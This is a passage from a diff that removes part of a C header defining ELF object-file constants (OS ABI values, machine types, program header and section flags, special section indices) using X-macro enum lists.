-_ELF_DEFINE_EI(EI_OSABI,    7, "OS ABI kind")		\
-_ELF_DEFINE_EI(EI_ABIVERSION, 8, "OS ABI version")	\
-_ELF_DEFINE_EI(EI_PAD,	    9, "padding start")		\
-_ELF_DEFINE_EI(EI_NIDENT,  16, "total size")
-
-#undef	_ELF_DEFINE_EI
-#define	_ELF_DEFINE_EI(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_EI_OFFSETS()
-	EI__LAST__
-};
-
-/*
- * The ELF class of an object.
- */
-#define	_ELF_DEFINE_ELFCLASS()				\
-_ELF_DEFINE_EC(ELFCLASSNONE, 0, "Unknown ELF class")	\
-_ELF_DEFINE_EC(ELFCLASS32,   1, "32 bit objects")	\
-_ELF_DEFINE_EC(ELFCLASS64,   2, "64 bit objects")
-
-#undef	_ELF_DEFINE_EC
-#define	_ELF_DEFINE_EC(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ELFCLASS()
-	EC__LAST__
-};
-
-/*
- * Endianness of data in an ELF object.
- */
-
-#define	_ELF_DEFINE_ELF_DATA_ENDIANNESS()			\
-_ELF_DEFINE_ED(ELFDATANONE, 0, "Unknown data endianness")	\
-_ELF_DEFINE_ED(ELFDATA2LSB, 1, "little endian")			\
-_ELF_DEFINE_ED(ELFDATA2MSB, 2, "big endian")
-
-#undef	_ELF_DEFINE_ED
-#define	_ELF_DEFINE_ED(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ELF_DATA_ENDIANNESS()
-	ED__LAST__
-};
-
-/*
- * Values of the magic numbers used in identification array.
- */
-#define	_ELF_DEFINE_ELF_MAGIC()			\
-_ELF_DEFINE_EMAG(ELFMAG0, 0x7FU)		\
-_ELF_DEFINE_EMAG(ELFMAG1, 'E')			\
-_ELF_DEFINE_EMAG(ELFMAG2, 'L')			\
-_ELF_DEFINE_EMAG(ELFMAG3, 'F')
-
-#undef	_ELF_DEFINE_EMAG
-#define	_ELF_DEFINE_EMAG(N, V)		N = V ,
-enum {
-	_ELF_DEFINE_ELF_MAGIC()
-	ELFMAG__LAST__
-};
-
-/*
- * ELF OS ABI field.
- */
-#define	_ELF_DEFINE_ELF_OSABI()						\
-_ELF_DEFINE_EABI(ELFOSABI_NONE,       0,				\
-	"No extensions or unspecified")					\
-_ELF_DEFINE_EABI(ELFOSABI_SYSV,       0, "SYSV")			\
-_ELF_DEFINE_EABI(ELFOSABI_HPUX,       1, "Hewlett-Packard HP-UX")	\
-_ELF_DEFINE_EABI(ELFOSABI_NETBSD,     2, "NetBSD")			\
-_ELF_DEFINE_EABI(ELFOSABI_GNU,        3, "GNU")				\
-_ELF_DEFINE_EABI(ELFOSABI_HURD,       4, "GNU/HURD")			\
-_ELF_DEFINE_EABI(ELFOSABI_86OPEN,     5, "86Open Common ABI")		\
-_ELF_DEFINE_EABI(ELFOSABI_SOLARIS,    6, "Sun Solaris")			\
-_ELF_DEFINE_EABI(ELFOSABI_AIX,        7, "AIX")				\
-_ELF_DEFINE_EABI(ELFOSABI_IRIX,       8, "IRIX")			\
-_ELF_DEFINE_EABI(ELFOSABI_FREEBSD,    9, "FreeBSD")			\
-_ELF_DEFINE_EABI(ELFOSABI_TRU64,      10, "Compaq TRU64 UNIX")		\
-_ELF_DEFINE_EABI(ELFOSABI_MODESTO,    11, "Novell Modesto")		\
-_ELF_DEFINE_EABI(ELFOSABI_OPENBSD,    12, "Open BSD")			\
-_ELF_DEFINE_EABI(ELFOSABI_OPENVMS,    13, "Open VMS")			\
-_ELF_DEFINE_EABI(ELFOSABI_NSK,        14,				\
-	"Hewlett-Packard Non-Stop Kernel")				\
-_ELF_DEFINE_EABI(ELFOSABI_AROS,       15, "Amiga Research OS")		\
-_ELF_DEFINE_EABI(ELFOSABI_FENIXOS,    16,				\
-	"The FenixOS highly scalable multi-core OS")			\
-_ELF_DEFINE_EABI(ELFOSABI_ARM_AEABI,  64,				\
-	"ARM specific symbol versioning extensions")			\
-_ELF_DEFINE_EABI(ELFOSABI_ARM,        97, "ARM ABI")			\
-_ELF_DEFINE_EABI(ELFOSABI_STANDALONE, 255,				\
-	"Standalone (embedded) application")
-
-#undef	_ELF_DEFINE_EABI
-#define	_ELF_DEFINE_EABI(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ELF_OSABI()
-	ELFOSABI__LAST__
-};
-
-#define	ELFOSABI_LINUX			ELFOSABI_GNU
-
-/*
- * ELF Machine types: (EM_*).
- */
-#define	_ELF_DEFINE_ELF_MACHINES()					\
-_ELF_DEFINE_EM(EM_NONE,             0, "No machine")			\
-_ELF_DEFINE_EM(EM_M32,              1, "AT&T WE 32100")			\
-_ELF_DEFINE_EM(EM_SPARC,            2, "SPARC")				\
-_ELF_DEFINE_EM(EM_386,              3, "Intel 80386")			\
-_ELF_DEFINE_EM(EM_68K,              4, "Motorola 68000")		\
-_ELF_DEFINE_EM(EM_88K,              5, "Motorola 88000")		\
-_ELF_DEFINE_EM(EM_860,              7, "Intel 80860")			\
-_ELF_DEFINE_EM(EM_MIPS,             8, "MIPS I Architecture")		\
-_ELF_DEFINE_EM(EM_S370,             9, "IBM System/370 Processor")	\
-_ELF_DEFINE_EM(EM_MIPS_RS3_LE,      10, "MIPS RS3000 Little-endian")	\
-_ELF_DEFINE_EM(EM_PARISC,           15, "Hewlett-Packard PA-RISC")	\
-_ELF_DEFINE_EM(EM_VPP500,           17, "Fujitsu VPP500")		\
-_ELF_DEFINE_EM(EM_SPARC32PLUS,      18,					\
-	"Enhanced instruction set SPARC")				\
-_ELF_DEFINE_EM(EM_960,              19, "Intel 80960")			\
-_ELF_DEFINE_EM(EM_PPC,              20, "PowerPC")			\
-_ELF_DEFINE_EM(EM_PPC64,            21, "64-bit PowerPC")		\
-_ELF_DEFINE_EM(EM_S390,             22, "IBM System/390 Processor")	\
-_ELF_DEFINE_EM(EM_SPU,              23, "IBM SPU/SPC")			\
-_ELF_DEFINE_EM(EM_V800,             36, "NEC V800")			\
-_ELF_DEFINE_EM(EM_FR20,             37, "Fujitsu FR20")			\
-_ELF_DEFINE_EM(EM_RH32,             38, "TRW RH-32")			\
-_ELF_DEFINE_EM(EM_RCE,              39, "Motorola RCE")			\
-_ELF_DEFINE_EM(EM_ARM,              40, "Advanced RISC Machines ARM")	\
-_ELF_DEFINE_EM(EM_ALPHA,            41, "Digital Alpha")		\
-_ELF_DEFINE_EM(EM_SH,               42, "Hitachi SH")			\
-_ELF_DEFINE_EM(EM_SPARCV9,          43, "SPARC Version 9")		\
-_ELF_DEFINE_EM(EM_TRICORE,          44,					\
-	"Siemens TriCore embedded processor")				\
-_ELF_DEFINE_EM(EM_ARC,              45,					\
-	"Argonaut RISC Core, Argonaut Technologies Inc.")		\
-_ELF_DEFINE_EM(EM_H8_300,           46, "Hitachi H8/300")		\
-_ELF_DEFINE_EM(EM_H8_300H,          47, "Hitachi H8/300H")		\
-_ELF_DEFINE_EM(EM_H8S,              48, "Hitachi H8S")			\
-_ELF_DEFINE_EM(EM_H8_500,           49, "Hitachi H8/500")		\
-_ELF_DEFINE_EM(EM_IA_64,            50,					\
-	"Intel IA-64 processor architecture")				\
-_ELF_DEFINE_EM(EM_MIPS_X,           51, "Stanford MIPS-X")		\
-_ELF_DEFINE_EM(EM_COLDFIRE,         52, "Motorola ColdFire")		\
-_ELF_DEFINE_EM(EM_68HC12,           53, "Motorola M68HC12")		\
-_ELF_DEFINE_EM(EM_MMA,              54,					\
-	"Fujitsu MMA Multimedia Accelerator")				\
-_ELF_DEFINE_EM(EM_PCP,              55, "Siemens PCP")			\
-_ELF_DEFINE_EM(EM_NCPU,             56,					\
-	"Sony nCPU embedded RISC processor")				\
-_ELF_DEFINE_EM(EM_NDR1,             57, "Denso NDR1 microprocessor")	\
-_ELF_DEFINE_EM(EM_STARCORE,         58, "Motorola Star*Core processor")	\
-_ELF_DEFINE_EM(EM_ME16,             59, "Toyota ME16 processor")	\
-_ELF_DEFINE_EM(EM_ST100,            60,					\
-	"STMicroelectronics ST100 processor")				\
-_ELF_DEFINE_EM(EM_TINYJ,            61,					\
-	"Advanced Logic Corp. TinyJ embedded processor family")		\
-_ELF_DEFINE_EM(EM_X86_64,           62, "AMD x86-64 architecture")	\
-_ELF_DEFINE_EM(EM_PDSP,             63, "Sony DSP Processor")		\
-_ELF_DEFINE_EM(EM_PDP10,            64,					\
-	"Digital Equipment Corp. PDP-10")				\
-_ELF_DEFINE_EM(EM_PDP11,            65,					\
-	"Digital Equipment Corp. PDP-11")				\
-_ELF_DEFINE_EM(EM_FX66,             66, "Siemens FX66 microcontroller")	\
-_ELF_DEFINE_EM(EM_ST9PLUS,          67,					\
-	"STMicroelectronics ST9+ 8/16 bit microcontroller")		\
-_ELF_DEFINE_EM(EM_ST7,              68,					\
-	"STMicroelectronics ST7 8-bit microcontroller")			\
-_ELF_DEFINE_EM(EM_68HC16,           69,					\
-	"Motorola MC68HC16 Microcontroller")				\
-_ELF_DEFINE_EM(EM_68HC11,           70,					\
-	"Motorola MC68HC11 Microcontroller")				\
-_ELF_DEFINE_EM(EM_68HC08,           71,					\
-	"Motorola MC68HC08 Microcontroller")				\
-_ELF_DEFINE_EM(EM_68HC05,           72,					\
-	"Motorola MC68HC05 Microcontroller")				\
-_ELF_DEFINE_EM(EM_SVX,              73, "Silicon Graphics SVx")		\
-_ELF_DEFINE_EM(EM_ST19,             74,					\
-	"STMicroelectronics ST19 8-bit microcontroller")		\
-_ELF_DEFINE_EM(EM_VAX,              75, "Digital VAX")			\
-_ELF_DEFINE_EM(EM_CRIS,             76,					\
-	"Axis Communications 32-bit embedded processor")		\
-_ELF_DEFINE_EM(EM_JAVELIN,          77,					\
-	"Infineon Technologies 32-bit embedded processor")		\
-_ELF_DEFINE_EM(EM_FIREPATH,         78,					\
-	"Element 14 64-bit DSP Processor")				\
-_ELF_DEFINE_EM(EM_ZSP,              79,					\
-	"LSI Logic 16-bit DSP Processor")				\
-_ELF_DEFINE_EM(EM_MMIX,             80,					\
-	"Donald Knuth's educational 64-bit processor")			\
-_ELF_DEFINE_EM(EM_HUANY,            81,					\
-	"Harvard University machine-independent object files")		\
-_ELF_DEFINE_EM(EM_PRISM,            82, "SiTera Prism")			\
-_ELF_DEFINE_EM(EM_AVR,              83,					\
-	"Atmel AVR 8-bit microcontroller")				\
-_ELF_DEFINE_EM(EM_FR30,             84, "Fujitsu FR30")			\
-_ELF_DEFINE_EM(EM_D10V,             85, "Mitsubishi D10V")		\
-_ELF_DEFINE_EM(EM_D30V,             86, "Mitsubishi D30V")		\
-_ELF_DEFINE_EM(EM_V850,             87, "NEC v850")			\
-_ELF_DEFINE_EM(EM_M32R,             88, "Mitsubishi M32R")		\
-_ELF_DEFINE_EM(EM_MN10300,          89, "Matsushita MN10300")		\
-_ELF_DEFINE_EM(EM_MN10200,          90, "Matsushita MN10200")		\
-_ELF_DEFINE_EM(EM_PJ,               91, "picoJava")			\
-_ELF_DEFINE_EM(EM_OPENRISC,         92,					\
-	"OpenRISC 32-bit embedded processor")				\
-_ELF_DEFINE_EM(EM_ARC_COMPACT,      93,					\
-	"ARC International ARCompact processor")			\
-_ELF_DEFINE_EM(EM_XTENSA,           94,					\
-	"Tensilica Xtensa Architecture")				\
-_ELF_DEFINE_EM(EM_VIDEOCORE,        95,					\
-	"Alphamosaic VideoCore processor")				\
-_ELF_DEFINE_EM(EM_TMM_GPP,          96,					\
-	"Thompson Multimedia General Purpose Processor")		\
-_ELF_DEFINE_EM(EM_NS32K,            97,					\
-	"National Semiconductor 32000 series")				\
-_ELF_DEFINE_EM(EM_TPC,              98, "Tenor Network TPC processor")	\
-_ELF_DEFINE_EM(EM_SNP1K,            99, "Trebia SNP 1000 processor")	\
-_ELF_DEFINE_EM(EM_ST200,            100,				\
-	"STMicroelectronics (www.st.com) ST200 microcontroller")	\
-_ELF_DEFINE_EM(EM_IP2K,             101,				\
-	"Ubicom IP2xxx microcontroller family")				\
-_ELF_DEFINE_EM(EM_MAX,              102, "MAX Processor")		\
-_ELF_DEFINE_EM(EM_CR,               103,				\
-	"National Semiconductor CompactRISC microprocessor")		\
-_ELF_DEFINE_EM(EM_F2MC16,           104, "Fujitsu F2MC16")		\
-_ELF_DEFINE_EM(EM_MSP430,           105,				\
-	"Texas Instruments embedded microcontroller msp430")		\
-_ELF_DEFINE_EM(EM_BLACKFIN,         106,				\
-	"Analog Devices Blackfin (DSP) processor")			\
-_ELF_DEFINE_EM(EM_SE_C33,           107,				\
-	"S1C33 Family of Seiko Epson processors")			\
-_ELF_DEFINE_EM(EM_SEP,              108,				\
-	"Sharp embedded microprocessor")				\
-_ELF_DEFINE_EM(EM_ARCA,             109, "Arca RISC Microprocessor")	\
-_ELF_DEFINE_EM(EM_UNICORE,          110,				\
-	"Microprocessor series from PKU-Unity Ltd. and MPRC of Peking University") \
-_ELF_DEFINE_EM(EM_EXCESS,           111,				\
-	"eXcess: 16/32/64-bit configurable embedded CPU")		\
-_ELF_DEFINE_EM(EM_DXP,              112,				\
-	"Icera Semiconductor Inc. Deep Execution Processor")		\
-_ELF_DEFINE_EM(EM_ALTERA_NIOS2,     113,				\
-	"Altera Nios II soft-core processor")				\
-_ELF_DEFINE_EM(EM_CRX,              114,				\
-	"National Semiconductor CompactRISC CRX microprocessor")	\
-_ELF_DEFINE_EM(EM_XGATE,            115,				\
-	"Motorola XGATE embedded processor")				\
-_ELF_DEFINE_EM(EM_C166,             116,				\
-	"Infineon C16x/XC16x processor")				\
-_ELF_DEFINE_EM(EM_M16C,             117,				\
-	"Renesas M16C series microprocessors")				\
-_ELF_DEFINE_EM(EM_DSPIC30F,         118,				\
-	"Microchip Technology dsPIC30F Digital Signal Controller")	\
-_ELF_DEFINE_EM(EM_CE,               119,				\
-	"Freescale Communication Engine RISC core")			\
-_ELF_DEFINE_EM(EM_M32C,             120,				\
-	"Renesas M32C series microprocessors")				\
-_ELF_DEFINE_EM(EM_TSK3000,          131, "Altium TSK3000 core")		\
-_ELF_DEFINE_EM(EM_RS08,             132,				\
-	"Freescale RS08 embedded processor")				\
-_ELF_DEFINE_EM(EM_SHARC,            133,				\
-	"Analog Devices SHARC family of 32-bit DSP processors")		\
-_ELF_DEFINE_EM(EM_ECOG2,            134,				\
-	"Cyan Technology eCOG2 microprocessor")				\
-_ELF_DEFINE_EM(EM_SCORE7,           135,				\
-	"Sunplus S+core7 RISC processor")				\
-_ELF_DEFINE_EM(EM_DSP24,            136,				\
-	"New Japan Radio (NJR) 24-bit DSP Processor")			\
-_ELF_DEFINE_EM(EM_VIDEOCORE3,       137,				\
-	"Broadcom VideoCore III processor")				\
-_ELF_DEFINE_EM(EM_LATTICEMICO32,    138,				\
-	"RISC processor for Lattice FPGA architecture")			\
-_ELF_DEFINE_EM(EM_SE_C17,           139, "Seiko Epson C17 family")	\
-_ELF_DEFINE_EM(EM_TI_C6000,         140,				\
-	"The Texas Instruments TMS320C6000 DSP family")			\
-_ELF_DEFINE_EM(EM_TI_C2000,         141,				\
-	"The Texas Instruments TMS320C2000 DSP family")			\
-_ELF_DEFINE_EM(EM_TI_C5500,         142,				\
-	"The Texas Instruments TMS320C55x DSP family")			\
-_ELF_DEFINE_EM(EM_MMDSP_PLUS,       160,				\
-	"STMicroelectronics 64bit VLIW Data Signal Processor")		\
-_ELF_DEFINE_EM(EM_CYPRESS_M8C,      161, "Cypress M8C microprocessor")	\
-_ELF_DEFINE_EM(EM_R32C,             162,				\
-	"Renesas R32C series microprocessors")				\
-_ELF_DEFINE_EM(EM_TRIMEDIA,         163,				\
-	"NXP Semiconductors TriMedia architecture family")		\
-_ELF_DEFINE_EM(EM_QDSP6,            164, "QUALCOMM DSP6 Processor")	\
-_ELF_DEFINE_EM(EM_8051,             165, "Intel 8051 and variants")	\
-_ELF_DEFINE_EM(EM_STXP7X,           166,				\
-	"STMicroelectronics STxP7x family of configurable and extensible RISC processors") \
-_ELF_DEFINE_EM(EM_NDS32,            167,				\
-	"Andes Technology compact code size embedded RISC processor family") \
-_ELF_DEFINE_EM(EM_ECOG1,            168,				\
-	"Cyan Technology eCOG1X family")				\
-_ELF_DEFINE_EM(EM_ECOG1X,           168,				\
-	"Cyan Technology eCOG1X family")				\
-_ELF_DEFINE_EM(EM_MAXQ30,           169,				\
-	"Dallas Semiconductor MAXQ30 Core Micro-controllers")		\
-_ELF_DEFINE_EM(EM_XIMO16,           170,				\
-	"New Japan Radio (NJR) 16-bit DSP Processor")			\
-_ELF_DEFINE_EM(EM_MANIK,            171,				\
-	"M2000 Reconfigurable RISC Microprocessor")			\
-_ELF_DEFINE_EM(EM_CRAYNV2,          172,				\
-	"Cray Inc. NV2 vector architecture")				\
-_ELF_DEFINE_EM(EM_RX,               173, "Renesas RX family")		\
-_ELF_DEFINE_EM(EM_METAG,            174,				\
-	"Imagination Technologies META processor architecture")		\
-_ELF_DEFINE_EM(EM_MCST_ELBRUS,      175,				\
-	"MCST Elbrus general purpose hardware architecture")		\
-_ELF_DEFINE_EM(EM_ECOG16,           176,				\
-	"Cyan Technology eCOG16 family")				\
-_ELF_DEFINE_EM(EM_CR16,             177,				\
-	"National Semiconductor CompactRISC CR16 16-bit microprocessor") \
-_ELF_DEFINE_EM(EM_ETPU,             178,				\
-	"Freescale Extended Time Processing Unit")			\
-_ELF_DEFINE_EM(EM_SLE9X,            179,				\
-	"Infineon Technologies SLE9X core")				\
-_ELF_DEFINE_EM(EM_AVR32,            185,				\
-	"Atmel Corporation 32-bit microprocessor family")		\
-_ELF_DEFINE_EM(EM_STM8,             186,				\
-	"STMicroeletronics STM8 8-bit microcontroller")			\
-_ELF_DEFINE_EM(EM_TILE64,           187,				\
-	"Tilera TILE64 multicore architecture family")			\
-_ELF_DEFINE_EM(EM_TILEPRO,          188,				\
-	"Tilera TILEPro multicore architecture family")			\
-_ELF_DEFINE_EM(EM_MICROBLAZE,       189,				\
-	"Xilinx MicroBlaze 32-bit RISC soft processor core")		\
-_ELF_DEFINE_EM(EM_CUDA,             190, "NVIDIA CUDA architecture")	\
-_ELF_DEFINE_EM(EM_TILEGX,           191,				\
-	"Tilera TILE-Gx multicore architecture family")			\
-_ELF_DEFINE_EM(EM_CLOUDSHIELD,      192,				\
-	"CloudShield architecture family")				\
-_ELF_DEFINE_EM(EM_COREA_1ST,        193,				\
-	"KIPO-KAIST Core-A 1st generation processor family")		\
-_ELF_DEFINE_EM(EM_COREA_2ND,        194,				\
-	"KIPO-KAIST Core-A 2nd generation processor family")		\
-_ELF_DEFINE_EM(EM_ARC_COMPACT2,     195, "Synopsys ARCompact V2")	\
-_ELF_DEFINE_EM(EM_OPEN8,            196,				\
-	"Open8 8-bit RISC soft processor core")				\
-_ELF_DEFINE_EM(EM_RL78,             197, "Renesas RL78 family")		\
-_ELF_DEFINE_EM(EM_VIDEOCORE5,       198, "Broadcom VideoCore V processor") \
-_ELF_DEFINE_EM(EM_78KOR,            199, "Renesas 78KOR family")
-
-#undef	_ELF_DEFINE_EM
-#define	_ELF_DEFINE_EM(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ELF_MACHINES()
-	EM__LAST__
-};
-
-/* Older synonyms. */
-#define	EM_ARC_A5		EM_ARC_COMPACT
-
-/*
- * ELF file types: (ET_*).
- */
-#define	_ELF_DEFINE_ELF_TYPES()						\
-_ELF_DEFINE_ET(ET_NONE,   0,	    "No file type")			\
-_ELF_DEFINE_ET(ET_REL,    1, 	    "Relocatable object")		\
-_ELF_DEFINE_ET(ET_EXEC,   2, 	    "Executable")			\
-_ELF_DEFINE_ET(ET_DYN,    3, 	    "Shared object")			\
-_ELF_DEFINE_ET(ET_CORE,   4, 	    "Core file")			\
-_ELF_DEFINE_ET(ET_LOOS,   0xFE00U,  "Begin OS-specific range")		\
-_ELF_DEFINE_ET(ET_HIOS,   0xFEFFU,  "End OS-specific range")		\
-_ELF_DEFINE_ET(ET_LOPROC, 0xFF00U,  "Begin processor-specific range")	\
-_ELF_DEFINE_ET(ET_HIPROC, 0xFFFFU,  "End processor-specific range")
-
-#undef	_ELF_DEFINE_ET
-#define	_ELF_DEFINE_ET(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ELF_TYPES()
-	ET__LAST__
-};
-
-/* ELF file format version numbers. */
-#define	EV_NONE		0
-#define	EV_CURRENT	1
-
-/*
- * Flags for section groups.
- */
-#define	GRP_COMDAT 	0x1		/* COMDAT semantics */
-#define	GRP_MASKOS 	0x0ff00000	/* OS-specific flags */
-#define	GRP_MASKPROC 	0xf0000000	/* processor-specific flags */
-
-/*
- * Flags used by program header table entries.
- */
-
-#define	_ELF_DEFINE_PHDR_FLAGS()					\
-_ELF_DEFINE_PF(PF_X,                0x1, "Execute")			\
-_ELF_DEFINE_PF(PF_W,                0x2, "Write")			\
-_ELF_DEFINE_PF(PF_R,                0x4, "Read")			\
-_ELF_DEFINE_PF(PF_MASKOS,           0x0ff00000, "OS-specific flags")	\
-_ELF_DEFINE_PF(PF_MASKPROC,         0xf0000000, "Processor-specific flags") \
-_ELF_DEFINE_PF(PF_ARM_SB,           0x10000000,				\
-	"segment contains the location addressed by the static base")	\
-_ELF_DEFINE_PF(PF_ARM_PI,           0x20000000,				\
-	"segment is position-independent")				\
-_ELF_DEFINE_PF(PF_ARM_ABS,          0x40000000,				\
-	"segment must be loaded at its base address")
-
-#undef	_ELF_DEFINE_PF
-#define	_ELF_DEFINE_PF(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_PHDR_FLAGS()
-	PF__LAST__
-};
-
-/*
- * Types of program header table entries.
- */
-
-#define	_ELF_DEFINE_PHDR_TYPES()				\
-_ELF_DEFINE_PT(PT_NULL,             0, "ignored entry")		\
-_ELF_DEFINE_PT(PT_LOAD,             1, "loadable segment")	\
-_ELF_DEFINE_PT(PT_DYNAMIC,          2,				\
-	"contains dynamic linking information")			\
-_ELF_DEFINE_PT(PT_INTERP,           3, "names an interpreter")	\
-_ELF_DEFINE_PT(PT_NOTE,             4, "auxiliary information")	\
-_ELF_DEFINE_PT(PT_SHLIB,            5, "reserved")		\
-_ELF_DEFINE_PT(PT_PHDR,             6,				\
-	"describes the program header itself")			\
-_ELF_DEFINE_PT(PT_TLS,              7, "thread local storage")	\
-_ELF_DEFINE_PT(PT_LOOS,             0x60000000UL,		\
-	"start of OS-specific range")				\
-_ELF_DEFINE_PT(PT_SUNW_UNWIND,      0x6464E550UL,		\
-	"Solaris/amd64 stack unwind tables")			\
-_ELF_DEFINE_PT(PT_GNU_EH_FRAME,     0x6474E550UL,		\
-	"GCC generated .eh_frame_hdr segment")			\
-_ELF_DEFINE_PT(PT_GNU_STACK,	    0x6474E551UL,		\
-	"Stack flags")						\
-_ELF_DEFINE_PT(PT_GNU_RELRO,	    0x6474E552UL,		\
-	"Segment becomes read-only after relocation")		\
-_ELF_DEFINE_PT(PT_SUNWBSS,          0x6FFFFFFAUL,		\
-	"A Solaris .SUNW_bss section")				\
-_ELF_DEFINE_PT(PT_SUNWSTACK,        0x6FFFFFFBUL,		\
-	"A Solaris process stack")				\
-_ELF_DEFINE_PT(PT_SUNWDTRACE,       0x6FFFFFFCUL,		\
-	"Used by dtrace(1)")					\
-_ELF_DEFINE_PT(PT_SUNWCAP,          0x6FFFFFFDUL,		\
-	"Special hardware capability requirements")		\
-_ELF_DEFINE_PT(PT_HIOS,             0x6FFFFFFFUL,		\
-	"end of OS-specific range")				\
-_ELF_DEFINE_PT(PT_LOPROC,           0x70000000UL,		\
-	"start of processor-specific range")			\
-_ELF_DEFINE_PT(PT_ARM_ARCHEXT,      0x70000000UL,		\
-	"platform architecture compatibility information")	\
-_ELF_DEFINE_PT(PT_ARM_EXIDX,        0x70000001UL,		\
-	"exception unwind tables")				\
-_ELF_DEFINE_PT(PT_MIPS_REGINFO,     0x70000000UL,		\
-	"register usage information")				\
-_ELF_DEFINE_PT(PT_MIPS_RTPROC,      0x70000001UL,		\
-	"runtime procedure table")				\
-_ELF_DEFINE_PT(PT_MIPS_OPTIONS,     0x70000002UL,		\
-	"options segment")					\
-_ELF_DEFINE_PT(PT_HIPROC,           0x7FFFFFFFUL,		\
-	"end of processor-specific range")
-
-#undef	_ELF_DEFINE_PT
-#define	_ELF_DEFINE_PT(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_PHDR_TYPES()
-	PT__LAST__ = PT_HIPROC
-};
-
-/* synonyms. */
-#define	PT_ARM_UNWIND	PT_ARM_EXIDX
-#define	PT_HISUNW	PT_HIOS
-#define	PT_LOSUNW	PT_SUNWBSS
-
-/*
- * Section flags.
- */
-
-#define	_ELF_DEFINE_SECTION_FLAGS()					\
-_ELF_DEFINE_SHF(SHF_WRITE,           0x1,				\
-	"writable during program execution")				\
-_ELF_DEFINE_SHF(SHF_ALLOC,           0x2,				\
-	"occupies memory during program execution")			\
-_ELF_DEFINE_SHF(SHF_EXECINSTR,       0x4, "executable instructions")	\
-_ELF_DEFINE_SHF(SHF_MERGE,           0x10,				\
-	"may be merged to prevent duplication")				\
-_ELF_DEFINE_SHF(SHF_STRINGS,         0x20,				\
-	"NUL-terminated character strings")				\
-_ELF_DEFINE_SHF(SHF_INFO_LINK,       0x40,				\
-	"the sh_info field holds a link")				\
-_ELF_DEFINE_SHF(SHF_LINK_ORDER,      0x80,				\
-	"special ordering requirements during linking")			\
-_ELF_DEFINE_SHF(SHF_OS_NONCONFORMING, 0x100,				\
-	"requires OS-specific processing during linking")		\
-_ELF_DEFINE_SHF(SHF_GROUP,           0x200,				\
-	"member of a section group")					\
-_ELF_DEFINE_SHF(SHF_TLS,             0x400,				\
-	"holds thread-local storage")					\
-_ELF_DEFINE_SHF(SHF_MASKOS,          0x0FF00000UL,			\
-	"bits reserved for OS-specific semantics")			\
-_ELF_DEFINE_SHF(SHF_AMD64_LARGE,     0x10000000UL,			\
-	"section uses large code model")				\
-_ELF_DEFINE_SHF(SHF_ENTRYSECT,       0x10000000UL,			\
-	"section contains an entry point (ARM)")			\
-_ELF_DEFINE_SHF(SHF_COMDEF,          0x80000000UL,			\
-	"section may be multiply defined in input to link step (ARM)")	\
-_ELF_DEFINE_SHF(SHF_MIPS_GPREL,      0x10000000UL,			\
-	"section must be part of global data area")			\
-_ELF_DEFINE_SHF(SHF_MIPS_MERGE,      0x20000000UL,			\
-	"section data should be merged to eliminate duplication")	\
-_ELF_DEFINE_SHF(SHF_MIPS_ADDR,       0x40000000UL,			\
-	"section data is addressed by default")				\
-_ELF_DEFINE_SHF(SHF_MIPS_STRING,     0x80000000UL,			\
-	"section data is string data by default")			\
-_ELF_DEFINE_SHF(SHF_MIPS_NOSTRIP,    0x08000000UL,			\
-	"section data may not be stripped")				\
-_ELF_DEFINE_SHF(SHF_MIPS_LOCAL,      0x04000000UL,			\
-	"section data local to process")				\
-_ELF_DEFINE_SHF(SHF_MIPS_NAMES,      0x02000000UL,			\
-	"linker must generate implicit hidden weak names")		\
-_ELF_DEFINE_SHF(SHF_MIPS_NODUPE,     0x01000000UL,			\
-	"linker must retain only one copy")				\
-_ELF_DEFINE_SHF(SHF_ORDERED,         0x40000000UL,			\
-	"section is ordered with respect to other sections")		\
-_ELF_DEFINE_SHF(SHF_EXCLUDE,	     0x80000000UL,			\
-	"section is excluded from executables and shared objects")	\
-_ELF_DEFINE_SHF(SHF_MASKPROC,        0xF0000000UL,			\
-	"bits reserved for processor-specific semantics")
-
-#undef	_ELF_DEFINE_SHF
-#define	_ELF_DEFINE_SHF(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SECTION_FLAGS()
-	SHF__LAST__
-};
-
-/*
- * Special section indices.
- */
-#define _ELF_DEFINE_SECTION_INDICES()					\
-_ELF_DEFINE_SHN(SHN_UNDEF, 	0, 	 "undefined section")		\
-_ELF_DEFINE_SHN(SHN_LORESERVE, 	0xFF00U, "start of reserved area")	\
-_ELF_DEFINE_SHN(SHN_LOPROC, 	0xFF00U,				\
-	"start of processor-specific range")				\
-_ELF_DEFINE_SHN(SHN_BEFORE,	0xFF00U, "used for section ordering")	\
-_ELF_DEFINE_SHN(SHN_AFTER,	0xFF01U, "used for section ordering")	\
-_ELF_DEFINE_SHN(SHN_AMD64_LCOMMON, 0xFF02U, "large common block label") \
-_ELF_DEFINE_SHN(SHN_MIPS_ACOMMON, 0xFF00U,				\
-	"allocated common symbols in a DSO")				\
-_ELF_DEFINE_SHN(SHN_MIPS_TEXT,	0xFF01U, "Reserved (obsolete)")		\
-_ELF_DEFINE_SHN(SHN_MIPS_DATA,	0xFF02U, "Reserved (obsolete)")		\
-_ELF_DEFINE_SHN(SHN_MIPS_SCOMMON, 0xFF03U,				\
-	"gp-addressable common symbols")				\
-_ELF_DEFINE_SHN(SHN_MIPS_SUNDEFINED, 0xFF04U,				\
-	"gp-addressable undefined symbols")				\
-_ELF_DEFINE_SHN(SHN_MIPS_LCOMMON, 0xFF05U, "local common symbols")	\
-_ELF_DEFINE_SHN(SHN_MIPS_LUNDEFINED, 0xFF06U,				\
-	"local undefined symbols")					\
-_ELF_DEFINE_SHN(SHN_HIPROC, 	0xFF1FU,				\
-	"end of processor-specific range")				\
-_ELF_DEFINE_SHN(SHN_LOOS, 	0xFF20U,				\
-	"start of OS-specific range")					\
-_ELF_DEFINE_SHN(SHN_SUNW_IGNORE, 0xFF3FU, "used by dtrace")		\
-_ELF_DEFINE_SHN(SHN_HIOS, 	0xFF3FU,				\
-	"end of OS-specific range")					\
-_ELF_DEFINE_SHN(SHN_ABS, 	0xFFF1U, "absolute references")		\
-_ELF_DEFINE_SHN(SHN_COMMON, 	0xFFF2U, "references to COMMON areas")	\
-_ELF_DEFINE_SHN(SHN_XINDEX, 	0xFFFFU, "extended index")		\
